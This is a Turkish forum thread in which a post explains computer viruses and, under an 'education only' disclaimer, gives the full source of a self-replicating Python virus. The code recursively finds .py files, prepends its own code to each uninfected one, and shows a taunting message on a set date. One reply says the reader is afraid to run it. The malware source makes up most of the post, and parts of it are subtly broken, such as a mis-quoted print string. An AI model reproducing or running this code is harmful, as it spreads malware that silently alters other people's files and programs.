İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

Virüs nedir? Python Dili İle Basit Bir Virüs Nasıl Yazılır?

10-01-2017 23:11
#1
dumenci06 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2015
Nereden:
ANKARA
Mesajlar:
1.783
Teşekkür (Etti):
250
Teşekkür (Aldı):
485
Konular:
152
Virüsler dijital dünyanın korkulu rüyası. Peki virüs dediğimiz şey tam olarak nedir? Bir virüs nasıl yapılır? Bu sorulara bir göz attık.
Bilgisayar virüsü kötü niyetli bir programdır (malware). Çalıştırıldığında kendini yeniden üretir veya diğer programlara kopyalayar. İşletim sistemi açıldıktan sonra kullandığımız programlar kadar, veri dosyaları veya bilgisayar başlatılırken çalışan programlara da bulaşabilir.



“Virüs” terimi genelde yanlış kullanılır. Bu aslında; solucan, truva atı, BHO, spyware, rootkit malwareleri gibi bir tür malware'dir. Ancak genellikle son kullanıcı malware’lere virüs der. Virüsler aslında, zararlı aktiviteler yapan kötü niyetli yazılımlardır. Örneğin; hard diskleri kilitlemek, işlemcilerin çalışmasında bozukluklar meydana getirmek, kredi kartı numaralarını çalmak, e-mail listelerini çalarak bağlantıdakilere farklı mesajlar göndermek gibi. Virüs yazanlar, sosyal mühendislik denilen kandırma yöntemleriyle kullanıcıların zayıf yanlarını yakalar ve bilgisayarlarına girebilir. Birçok virüs, özellikle Windows sistemini hedef alır ve çoğu kez siyasi mesaj, kişisel eğlence gibi nedenlerle atak yaparlar.



Eğer siz de siber dünyanın bu tarafını tanımak istiyorsanız ve kötü niyetli hackerlara karşı güvenlik alanında birşeyler öğrenmek istiyorsanız, aşağıda basit bir virüsün kodları yer alıyor.

Uyarıyoruz; siber dünya düşündüğünüzden daha tehlikeli. Burada yazdıklarımız güvenlik uzmanı olmak isteyen kişiler için yalnızca eğitim amacı güdüyor. Verilen kodları yalnızca size ait bir sistemde çalıştırınız.

Kod:
<code>#!/usr/bin/python
import os
import datetime
SIGNATURE = "SIMPLE PYTHON VIRUS"
def search(path):
    filestoinfect = []
    filelist = os.listdir(path)
    for fname in filelist:
        if os.path.isdir(path+"/"+fname):
            filestoinfect.extend(search(path+"/"+fname))
        elif fname[-3:] == ".py":
            infected = False
            for line in open(path+"/"+fname):
                if SIGNATURE in line:
                    infected = True
                    break
            if infected == False:
                filestoinfect.append(path+"/"+fname)
    return filestoinfect
def infect(filestoinfect):
    virus = open(os.path.abspath(__file__))
    virusstring = ""
    for i,line in enumerate(virus):
        if i&gt;=0 and i &lt;39:
            virusstring += line
    virus.close
    for fname in filestoinfect:
        f = open(fname)
        temp = f.read()
        f.close()
        f = open(fname,"w")
        f.write(virusstring + temp)
        f.close()
def bomb():
    if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
        print "HAHA YOU ARE AFFECTED BY VIRUS!! AND THAT"S AN EVIL ALUGH BY THE WAY!!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()</code>
Kullanıcı İmzası
"En büyük makam, en büyük hak çalışanlara ait olacaktır." -Atatürk

10-01-2017 23:18
#2
Lawliet123 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2016
Mesajlar:
2.563
Teşekkür (Etti):
464
Teşekkür (Aldı):
706
Konular:
143
Komutanım Çalıştırmaya Korkuyorum Ne Virüsü Bu

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı